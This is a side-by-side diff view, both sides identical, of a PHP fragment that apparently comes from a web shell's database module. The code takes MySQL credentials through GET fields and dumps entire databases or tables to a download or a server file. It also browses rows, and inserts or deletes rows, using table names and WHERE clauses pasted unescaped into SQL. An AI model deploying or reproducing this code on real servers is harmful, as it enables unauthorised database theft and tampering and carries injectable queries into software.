name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newtbl" size="20"> <input type="submit" value="Create"></form></td><td width="30%" height="1"><b>Dump DB:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="dump"><input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="dump_file" size="30" value="<?php echo "dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql"; ?>"> <input type="submit" name=\"submit\" value="Dump"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php |
| 1077 | if (!empty($sql_act)) {echo "<hr size=\"1\" noshade>";} | 1077 | if (!empty($sql_act)) {echo "<hr size=\"1\" noshade>";} |
| 1078 | if ($sql_act == "newtbl") | 1078 | if ($sql_act == "newtbl") |
| 1079 | { | 1079 | { |
| 1080 | echo "<b>"; | 1080 | echo "<b>"; |
| 1081 | if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>"; | 1081 | if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>"; |
| 1082 | } | 1082 | } |
| 1083 | else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();} | 1083 | else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();} |
| 1084 | } | 1084 | } |
| 1085 | elseif ($sql_act == "dump") | 1085 | elseif ($sql_act == "dump") |
| 1086 | { | 1086 | { |
| 1087 | if (empty($submit)) | 1087 | if (empty($submit)) |
| 1088 | { | 1088 | { |
| 1089 | $diplay = FALSE; | 1089 | $diplay = FALSE; |
| 1090 | echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_act\" value=\"dump\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><b>SQL-Dump:</b><br><br>"; | 1090 | echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_act\" value=\"dump\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><b>SQL-Dump:</b><br><br>"; |
| 1091 | echo "<b>DB:</b> <input type=\"text\" name=\"sql_db\" value=\"".urlencode($sql_db)."\"><br><br>"; | 1091 | echo "<b>DB:</b> <input type=\"text\" name=\"sql_db\" value=\"".urlencode($sql_db)."\"><br><br>"; |
| 1092 | $v = join (";",$dmptbls); | 1092 | $v = join (";",$dmptbls); |
| 1093 | echo "<b>Only tables (explode \";\") <b><sup>1</sup></b>:</b> <input type=\"text\" name=\"dmptbls\" value=\"".htmlspecialchars($v)."\" size=\"".(strlen($v)+5)."\"><br><br>"; | 1093 | echo "<b>Only tables (explode \";\") <b><sup>1</sup></b>:</b> <input type=\"text\" name=\"dmptbls\" value=\"".htmlspecialchars($v)."\" size=\"".(strlen($v)+5)."\"><br><br>"; |
| 1094 | if ($dump_file) {$tmp = $dump_file;} | 1094 | if ($dump_file) {$tmp = $dump_file;} |
| 1095 | else {$tmp = htmlspecialchars("./dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql");} | 1095 | else {$tmp = htmlspecialchars("./dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql");} |
| 1096 | echo "<b>File:</b> <input type=\"text\" name=\"sql_dump_file\" value=\"".$tmp."\" size=\"".(strlen($tmp)+strlen($tmp) % 30)."\"><br><br>"; | 1096 | echo "<b>File:</b> <input type=\"text\" name=\"sql_dump_file\" value=\"".$tmp."\" size=\"".(strlen($tmp)+strlen($tmp) % 30)."\"><br><br>"; |
| 1097 | echo "<b>Download: </b> <input type=\"checkbox\" name=\"sql_dump_download\" value=\"1\" checked><br><br>"; | 1097 | echo "<b>Download: </b> <input type=\"checkbox\" name=\"sql_dump_download\" value=\"1\" checked><br><br>"; |
| 1098 | echo "<b>Save to file: </b> <input type=\"checkbox\" name=\"sql_dump_savetofile\" value=\"1\" checked>"; | 1098 | echo "<b>Save to file: </b> <input type=\"checkbox\" name=\"sql_dump_savetofile\" value=\"1\" checked>"; |
| 1099 | echo "<br><br><input type=\"submit\" name=\"submit\" value=\"Dump\"><br><br><b><sup>1</sup></b> - all, if empty"; | 1099 | echo "<br><br><input type=\"submit\" name=\"submit\" value=\"Dump\"><br><br><b><sup>1</sup></b> - all, if empty"; |
| 1100 | echo "</form>"; | 1100 | echo "</form>"; |
| 1101 | } | 1101 | } |
| 1102 | else | 1102 | else |
| 1103 | { | 1103 | { |
| 1104 | $diplay = TRUE; | 1104 | $diplay = TRUE; |
| 1105 | $set = array(); | 1105 | $set = array(); |
| 1106 | $set["sock"] = $sql_sock; | 1106 | $set["sock"] = $sql_sock; |
| 1107 | $set["db"] = $sql_db; | 1107 | $set["db"] = $sql_db; |
| 1108 | $dump_out = "download"; | 1108 | $dump_out = "download"; |
| 1109 | $set["print"] = 0; | 1109 | $set["print"] = 0; |
| 1110 | $set["nl2br"] = 0; | 1110 | $set["nl2br"] = 0; |
| 1111 | $set[""] = 0; | 1111 | $set[""] = 0; |
| 1112 | $set["file"] = $dump_file; | 1112 | $set["file"] = $dump_file; |
| 1113 | $set["add_drop"] = TRUE; | 1113 | $set["add_drop"] = TRUE; |
| 1114 | $set["onlytabs"] = array(); | 1114 | $set["onlytabs"] = array(); |
| 1115 | if (!empty($dmptbls)) {$set["onlytabs"] = explode(";",$dmptbls);} | 1115 | if (!empty($dmptbls)) {$set["onlytabs"] = explode(";",$dmptbls);} |
| 1116 | $ret = mysql_dump($set); | 1116 | $ret = mysql_dump($set); |
| 1117 | if ($sql_dump_download) | 1117 | if ($sql_dump_download) |
| 1118 | { | 1118 | { |
| 1119 | @ob_clean(); | 1119 | @ob_clean(); |
| 1120 | header("Content-type: application/octet-stream"); | 1120 | header("Content-type: application/octet-stream"); |
| 1121 | header("Content-length: ".strlen($ret)); | 1121 | header("Content-length: ".strlen($ret)); |
| 1122 | header("Content-disposition: attachment; filename=\"".basename($sql_dump_file)."\";"); | 1122 | header("Content-disposition: attachment; filename=\"".basename($sql_dump_file)."\";"); |
| 1123 | echo $ret; | 1123 | echo $ret; |
| 1124 | exit; | 1124 | exit; |
| 1125 | } | 1125 | } |
| 1126 | elseif ($sql_dump_savetofile) | 1126 | elseif ($sql_dump_savetofile) |
| 1127 | { | 1127 | { |
| 1128 | $fp = fopen($sql_dump_file,"w"); | 1128 | $fp = fopen($sql_dump_file,"w"); |
| 1129 | if (!$fp) {echo "<b>Dump error! Can't write to \"".htmlspecialchars($sql_dump_file)."\"!";} | 1129 | if (!$fp) {echo "<b>Dump error! Can't write to \"".htmlspecialchars($sql_dump_file)."\"!";} |
| 1130 | else | 1130 | else |
| 1131 | { | 1131 | { |
| 1132 | fwrite($fp,$ret); | 1132 | fwrite($fp,$ret); |
| 1133 | fclose($fp); | 1133 | fclose($fp); |
| 1134 | echo "<b>Dumped! Dump has been writed to \"".htmlspecialchars(realpath($sql_dump_file))."\" (".view_size(filesize($sql_dump_file)).")</b>."; | 1134 | echo "<b>Dumped! Dump has been writed to \"".htmlspecialchars(realpath($sql_dump_file))."\" (".view_size(filesize($sql_dump_file)).")</b>."; |
| 1135 | } | 1135 | } |
| 1136 | } | 1136 | } |
| 1137 | else {echo "<b>Dump: nothing to do!</b>";} | 1137 | else {echo "<b>Dump: nothing to do!</b>";} |
| 1138 | } | 1138 | } |
| 1139 | } | 1139 | } |
| 1140 | if ($diplay) | 1140 | if ($diplay) |
| 1141 | { | 1141 | { |
| 1142 | if (!empty($sql_tbl)) | 1142 | if (!empty($sql_tbl)) |
| 1143 | { | 1143 | { |
| 1144 | if (empty($sql_tbl_act)) {$sql_tbl_act = "browse";} | 1144 | if (empty($sql_tbl_act)) {$sql_tbl_act = "browse";} |
| 1145 | $count = mysql_query("SELECT COUNT(*) FROM `".$sql_tbl."`;"); | 1145 | $count = mysql_query("SELECT COUNT(*) FROM `".$sql_tbl."`;"); |
| 1146 | $count_row = mysql_fetch_array($count); | 1146 | $count_row = mysql_fetch_array($count); |
| 1147 | mysql_free_result($count); | 1147 | mysql_free_result($count); |
| 1148 | $tbl_struct_result = mysql_query("SHOW FIELDS FROM `".$sql_tbl."`;"); | 1148 | $tbl_struct_result = mysql_query("SHOW FIELDS FROM `".$sql_tbl."`;"); |
| 1149 | $tbl_struct_fields = array(); | 1149 | $tbl_struct_fields = array(); |
| 1150 | while ($row = mysql_fetch_assoc($tbl_struct_result)) {$tbl_struct_fields[] = $row;} | 1150 | while ($row = mysql_fetch_assoc($tbl_struct_result)) {$tbl_struct_fields[] = $row;} |
| 1151 | if ($sql_ls > $sql_le) {$sql_le = $sql_ls + $perpage;} | 1151 | if ($sql_ls > $sql_le) {$sql_le = $sql_ls + $perpage;} |
| 1152 | if (empty($sql_tbl_page)) {$sql_tbl_page = 0;} | 1152 | if (empty($sql_tbl_page)) {$sql_tbl_page = 0;} |
| 1153 | if (empty($sql_tbl_ls)) {$sql_tbl_ls = 0;} | 1153 | if (empty($sql_tbl_ls)) {$sql_tbl_ls = 0;} |
| 1154 | if (empty($sql_tbl_le)) {$sql_tbl_le = 30;} | 1154 | if (empty($sql_tbl_le)) {$sql_tbl_le = 30;} |
| 1155 | $perpage = $sql_tbl_le - $sql_tbl_ls; | 1155 | $perpage = $sql_tbl_le - $sql_tbl_ls; |
| 1156 | if (!is_numeric($perpage)) {$perpage = 10;} | 1156 | if (!is_numeric($perpage)) {$perpage = 10;} |
| 1157 | $numpages = $count_row[0]/$perpage; | 1157 | $numpages = $count_row[0]/$perpage; |
| 1158 | $e = explode(" ",$sql_order); | 1158 | $e = explode(" ",$sql_order); |
| 1159 | if (count($e) == 2) | 1159 | if (count($e) == 2) |
| 1160 | { | 1160 | { |
| 1161 | if ($e[0] == "d") {$asc_desc = "DESC";} | 1161 | if ($e[0] == "d") {$asc_desc = "DESC";} |
| 1162 | else {$asc_desc = "ASC";} | 1162 | else {$asc_desc = "ASC";} |
| 1163 | $v = "ORDER BY `".$e[1]."` ".$asc_desc." "; | 1163 | $v = "ORDER BY `".$e[1]."` ".$asc_desc." "; |
| 1164 | } | 1164 | } |
| 1165 | else {$v = "";} | 1165 | else {$v = "";} |
| 1166 | $query = "SELECT * FROM `".$sql_tbl."` ".$v."LIMIT ".$sql_tbl_ls." , ".$perpage.""; | 1166 | $query = "SELECT * FROM `".$sql_tbl."` ".$v."LIMIT ".$sql_tbl_ls." , ".$perpage.""; |
| 1167 | $result = mysql_query($query) or print(mysql_smarterror()); | 1167 | $result = mysql_query($query) or print(mysql_smarterror()); |
| 1168 | echo "<hr size=\"1\" noshade><center><b>Table ".htmlspecialchars($sql_tbl)." (".mysql_num_fields($result)." cols and ".$count_row[0]." rows)</b></center>"; | 1168 | echo "<hr size=\"1\" noshade><center><b>Table ".htmlspecialchars($sql_tbl)." (".mysql_num_fields($result)." cols and ".$count_row[0]." rows)</b></center>"; |
| 1169 | echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=structure\">[ <b>Structure</b> ]</a> "; | 1169 | echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=structure\">[ <b>Structure</b> ]</a> "; |
| 1170 | echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=browse\">[ <b>Browse</b> ]</a> "; | 1170 | echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=browse\">[ <b>Browse</b> ]</a> "; |
| 1171 | echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_act=tbldump&thistbl=1\">[ <b>Dump</b> ]</a> "; | 1171 | echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_act=tbldump&thistbl=1\">[ <b>Dump</b> ]</a> "; |
| 1172 | echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=insert\">[ <b>Insert</b> ]</a> "; | 1172 | echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=insert\">[ <b>Insert</b> ]</a> "; |
| 1173 | if ($sql_tbl_act == "structure") {echo "<br><br><b>Coming sooon!</b>";} | 1173 | if ($sql_tbl_act == "structure") {echo "<br><br><b>Coming sooon!</b>";} |
| 1174 | if ($sql_tbl_act == "insert") | 1174 | if ($sql_tbl_act == "insert") |
| 1175 | { | 1175 | { |
| 1176 | if (!is_array($sql_tbl_insert)) {$sql_tbl_insert = array();} | 1176 | if (!is_array($sql_tbl_insert)) {$sql_tbl_insert = array();} |
| 1177 | if (!empty($sql_tbl_insert_radio)) | 1177 | if (!empty($sql_tbl_insert_radio)) |
| 1178 | { | 1178 | { |
| 1179 | 1179 | ||
| 1180 | } | 1180 | } |
| 1181 | else | 1181 | else |
| 1182 | { | 1182 | { |
| 1183 | echo "<br><br><b>Inserting row into table:</b><br>"; | 1183 | echo "<br><br><b>Inserting row into table:</b><br>"; |
| 1184 | if (!empty($sql_tbl_insert_q)) | 1184 | if (!empty($sql_tbl_insert_q)) |
| 1185 | { | 1185 | { |
| 1186 | $sql_query = "SELECT * FROM `".$sql_tbl."`"; | 1186 | $sql_query = "SELECT * FROM `".$sql_tbl."`"; |
| 1187 | $sql_query .= " WHERE".$sql_tbl_insert_q; | 1187 | $sql_query .= " WHERE".$sql_tbl_insert_q; |
| 1188 | $sql_query .= " LIMIT 1;"; | 1188 | $sql_query .= " LIMIT 1;"; |
| 1189 | $result = mysql_query($sql_query,$sql_sock) or print("<br><br>".mysql_smarterror()); | 1189 | $result = mysql_query($sql_query,$sql_sock) or print("<br><br>".mysql_smarterror()); |
| 1190 | $values = mysql_fetch_assoc($result); | 1190 | $values = mysql_fetch_assoc($result); |
| 1191 | mysql_free_result($result); | 1191 | mysql_free_result($result); |
| 1192 | } | 1192 | } |
| 1193 | else {$values = array();} | 1193 | else {$values = array();} |
| 1194 | echo "<form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td><b>Field</b></td><td><b>Type</b></td><td><b>Function</b></td><td><b>Value</b></td></tr>"; | 1194 | echo "<form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td><b>Field</b></td><td><b>Type</b></td><td><b>Function</b></td><td><b>Value</b></td></tr>"; |
| 1195 | foreach ($tbl_struct_fields as $field) | 1195 | foreach ($tbl_struct_fields as $field) |
| 1196 | { | 1196 | { |
| 1197 | $name = $field["Field"]; | 1197 | $name = $field["Field"]; |
| 1198 | if (empty($sql_tbl_insert_q)) {$v = "";} | 1198 | if (empty($sql_tbl_insert_q)) {$v = "";} |
| 1199 | echo "<tr><td><b>".htmlspecialchars($name)."</b></td><td>".$field["Type"]."</td><td><select name=\"sql_tbl_insert_functs[".htmlspecialchars($name)."]\"><option value=\"\"></option><option>PASSWORD</option><option>MD5</option><option>ENCRYPT</option><option>ASCII</option><option>CHAR</option><option>RAND</option><option>LAST_INSERT_ID</option><option>COUNT</option><option>AVG</option><option>SUM</option><option value=\"\">--------</option><option>SOUNDEX</option><option>LCASE</option><option>UCASE</option><option>NOW</option><option>CURDATE</option><option>CURTIME</option><option>FROM_DAYS</option><option>FROM_UNIXTIME</option><option>PERIOD_ADD</option><option>PERIOD_DIFF</option><option>TO_DAYS</option><option>UNIX_TIMESTAMP</option><option>USER</option><option>WEEKDAY</option><option>CONCAT</option></select></td><td><input type=\"text\" name=\"sql_tbl_insert[".htmlspecialchars($name)."]\" value=\"".htmlspecialchars($values[$name])."\" size=50></td></tr>"; | 1199 | echo "<tr><td><b>".htmlspecialchars($name)."</b></td><td>".$field["Type"]."</td><td><select name=\"sql_tbl_insert_functs[".htmlspecialchars($name)."]\"><option value=\"\"></option><option>PASSWORD</option><option>MD5</option><option>ENCRYPT</option><option>ASCII</option><option>CHAR</option><option>RAND</option><option>LAST_INSERT_ID</option><option>COUNT</option><option>AVG</option><option>SUM</option><option value=\"\">--------</option><option>SOUNDEX</option><option>LCASE</option><option>UCASE</option><option>NOW</option><option>CURDATE</option><option>CURTIME</option><option>FROM_DAYS</option><option>FROM_UNIXTIME</option><option>PERIOD_ADD</option><option>PERIOD_DIFF</option><option>TO_DAYS</option><option>UNIX_TIMESTAMP</option><option>USER</option><option>WEEKDAY</option><option>CONCAT</option></select></td><td><input type=\"text\" name=\"sql_tbl_insert[".htmlspecialchars($name)."]\" value=\"".htmlspecialchars($values[$name])."\" size=50></td></tr>"; |
| 1200 | $i++; | 1200 | $i++; |
| 1201 | } | 1201 | } |
| 1202 | echo "</table><br>"; | 1202 | echo "</table><br>"; |
| 1203 | echo "<input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"1\""; if (empty($sql_tbl_insert_q)) {echo " checked";} echo "><b>Insert as new row</b>"; | 1203 | echo "<input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"1\""; if (empty($sql_tbl_insert_q)) {echo " checked";} echo "><b>Insert as new row</b>"; |
| 1204 | if (!empty($sql_tbl_insert_q)) {echo " or <input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"2\" checked><b>Save</b>"; echo "<input type=\"hidden\" name=\"sql_tbl_insert_q\" value=\"".htmlspecialchars($sql_tbl_insert_q)."\">";} | 1204 | if (!empty($sql_tbl_insert_q)) {echo " or <input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"2\" checked><b>Save</b>"; echo "<input type=\"hidden\" name=\"sql_tbl_insert_q\" value=\"".htmlspecialchars($sql_tbl_insert_q)."\">";} |
| 1205 | echo "<br><br><input type=\"submit\" value=\"Confirm\"></form>"; | 1205 | echo "<br><br><input type=\"submit\" value=\"Confirm\"></form>"; |
| 1206 | } | 1206 | } |
| 1207 | } | 1207 | } |
| 1208 | if ($sql_tbl_act == "browse") | 1208 | if ($sql_tbl_act == "browse") |
| 1209 | { | 1209 | { |
| 1210 | $sql_tbl_ls = abs($sql_tbl_ls); | 1210 | $sql_tbl_ls = abs($sql_tbl_ls); |
| 1211 | $sql_tbl_le = abs($sql_tbl_le); | 1211 | $sql_tbl_le = abs($sql_tbl_le); |
| 1212 | echo "<hr size=\"1\" noshade>"; | 1212 | echo "<hr size=\"1\" noshade>"; |
| 1213 | echo "<img src=\"".$surl."act=img&img=multipage\" height=\"12\" width=\"10\" alt=\"Pages\"> "; | 1213 | echo "<img src=\"".$surl."act=img&img=multipage\" height=\"12\" width=\"10\" alt=\"Pages\"> "; |
| 1214 | $b = 0; | 1214 | $b = 0; |
| 1215 | for($i=0;$i<$numpages;$i++) | 1215 | for($i=0;$i<$numpages;$i++) |
| 1216 | { | 1216 | { |
| 1217 | if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_order=".htmlspecialchars($sql_order)."&sql_tbl_ls=".($i*$perpage)."&sql_tbl_le=".($i*$perpage+$perpage)."\"><u>";} | 1217 | if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_order=".htmlspecialchars($sql_order)."&sql_tbl_ls=".($i*$perpage)."&sql_tbl_le=".($i*$perpage+$perpage)."\"><u>";} |
| 1218 | echo $i; | 1218 | echo $i; |
| 1219 | if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "</u></a>";} | 1219 | if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "</u></a>";} |
| 1220 | if (($i/30 == round($i/30)) and ($i > 0)) {echo "<br>";} | 1220 | if (($i/30 == round($i/30)) and ($i > 0)) {echo "<br>";} |
| 1221 | else {echo " ";} | 1221 | else {echo " ";} |
| 1222 | } | 1222 | } |
| 1223 | if ($i == 0) {echo "empty";} | 1223 | if ($i == 0) {echo "empty";} |
| 1224 | echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"sql_order\" value=\"".htmlspecialchars($sql_order)."\"><b>From:</b> <input type=\"text\" name=\"sql_tbl_ls\" value=\"".$sql_tbl_ls."\"> <b>To:</b> <input type=\"text\" name=\"sql_tbl_le\" value=\"".$sql_tbl_le."\"> <input type=\"submit\" value=\"View\"></form>"; | 1224 | echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"sql_order\" value=\"".htmlspecialchars($sql_order)."\"><b>From:</b> <input type=\"text\" name=\"sql_tbl_ls\" value=\"".$sql_tbl_ls."\"> <b>To:</b> <input type=\"text\" name=\"sql_tbl_le\" value=\"".$sql_tbl_le."\"> <input type=\"submit\" value=\"View\"></form>"; |
| 1225 | echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1>"; | 1225 | echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1>"; |
| 1226 | echo "<tr>"; | 1226 | echo "<tr>"; |
| 1227 | echo "<td><input type=\"checkbox\" name=\"boxrow_all\" value=\"1\"></td>"; | 1227 | echo "<td><input type=\"checkbox\" name=\"boxrow_all\" value=\"1\"></td>"; |
| 1228 | for ($i=0;$i<mysql_num_fields($result);$i++) | 1228 | for ($i=0;$i<mysql_num_fields($result);$i++) |
| 1229 | { | 1229 | { |
| 1230 | $v = mysql_field_name($result,$i); | 1230 | $v = mysql_field_name($result,$i); |
| 1231 | if ($e[0] == "a") {$s = "d"; $m = "asc";} | 1231 | if ($e[0] == "a") {$s = "d"; $m = "asc";} |
| 1232 | else {$s = "a"; $m = "desc";} | 1232 | else {$s = "a"; $m = "desc";} |
| 1233 | echo "<td>"; | 1233 | echo "<td>"; |
| 1234 | if (empty($e[0])) {$e[0] = "a";} | 1234 | if (empty($e[0])) {$e[0] = "a";} |
| 1235 | if ($e[1] != $v) {echo "<a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$e[0]."%20".$v."\"><b>".$v."</b></a>";} | 1235 | if ($e[1] != $v) {echo "<a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$e[0]."%20".$v."\"><b>".$v."</b></a>";} |
| 1236 | else {echo "<b>".$v."</b><a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$s."%20".$v."\"><img src=\"".$surl."act=img&img=sort_".$m."\" height=\"9\" width=\"14\" alt=\"".$m."\"></a>";} | 1236 | else {echo "<b>".$v."</b><a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$s."%20".$v."\"><img src=\"".$surl."act=img&img=sort_".$m."\" height=\"9\" width=\"14\" alt=\"".$m."\"></a>";} |
| 1237 | echo "</td>"; | 1237 | echo "</td>"; |
| 1238 | } | 1238 | } |
| 1239 | echo "<td><font color=\"green\"><b>Action</b></font></td>"; | 1239 | echo "<td><font color=\"green\"><b>Action</b></font></td>"; |
| 1240 | echo "</tr>"; | 1240 | echo "</tr>"; |
| 1241 | while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) | 1241 | while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) |
| 1242 | { | 1242 | { |
| 1243 | echo "<tr>"; | 1243 | echo "<tr>"; |
| 1244 | $w = ""; | 1244 | $w = ""; |
| 1245 | $i = 0; | 1245 | $i = 0; |
| 1246 | foreach ($row as $k=>$v) {$name = mysql_field_name($result,$i); $w .= " `".$name."` = '".addslashes($v)."' AND"; $i++;} | 1246 | foreach ($row as $k=>$v) {$name = mysql_field_name($result,$i); $w .= " `".$name."` = '".addslashes($v)."' AND"; $i++;} |
| 1247 | if (count($row) > 0) {$w = substr($w,0,strlen($w)-3);} | 1247 | if (count($row) > 0) {$w = substr($w,0,strlen($w)-3);} |
| 1248 | echo "<td><input type=\"checkbox\" name=\"boxrow[]\" value=\"".$w."\"></td>"; | 1248 | echo "<td><input type=\"checkbox\" name=\"boxrow[]\" value=\"".$w."\"></td>"; |
| 1249 | $i = 0; | 1249 | $i = 0; |
| 1250 | foreach ($row as $k=>$v) | 1250 | foreach ($row as $k=>$v) |
| 1251 | { | 1251 | { |
| 1252 | $v = htmlspecialchars($v); | 1252 | $v = htmlspecialchars($v); |
| 1253 | if ($v == "") {$v = "<font color=\"green\">NULL</font>";} | 1253 | if ($v == "") {$v = "<font color=\"green\">NULL</font>";} |
| 1254 | echo "<td>".$v."</td>"; | 1254 | echo "<td>".$v."</td>"; |
| 1255 | $i++; | 1255 | $i++; |
| 1256 | } | 1256 | } |
| 1257 | echo "<td>"; | 1257 | echo "<td>"; |
| 1258 | echo "<a href=\"".$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_query=".urlencode("DELETE FROM `".$sql_tbl."` WHERE".$w." LIMIT 1;")."\"><img src=\"".$surl."act=img&img=sql_button_drop\" alt=\"Delete\" height=\"13\" width=\"11\" border=\"0\"></a> "; | 1258 | echo "<a href=\"".$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_query=".urlencode("DELETE FROM `".$sql_tbl."` WHERE".$w." LIMIT 1;")."\"><img src=\"".$surl."act=img&img=sql_button_drop\" alt=\"Delete\" height=\"13\" width=\"11\" border=\"0\"></a> "; |
| 1259 | echo "<a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_insert_q=".urlencode($w)."\"><img src=\"".$surl."act=img&img=change\" alt=\"Edit\" height=\"14\" width=\"14\" border=\"0\"></a> "; | 1259 | echo "<a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_insert_q=".urlencode($w)."\"><img src=\"".$surl."act=img&img=change\" alt=\"Edit\" height=\"14\" width=\"14\" border=\"0\"></a> "; |
| 1260 | echo "</td>"; | 1260 | echo "</td>"; |
| 1261 | echo "</tr>"; | 1261 | echo "</tr>"; |
| 1262 | } | 1262 | } |
| 1263 | mysql_free_result($result); | 1263 | mysql_free_result($result); |
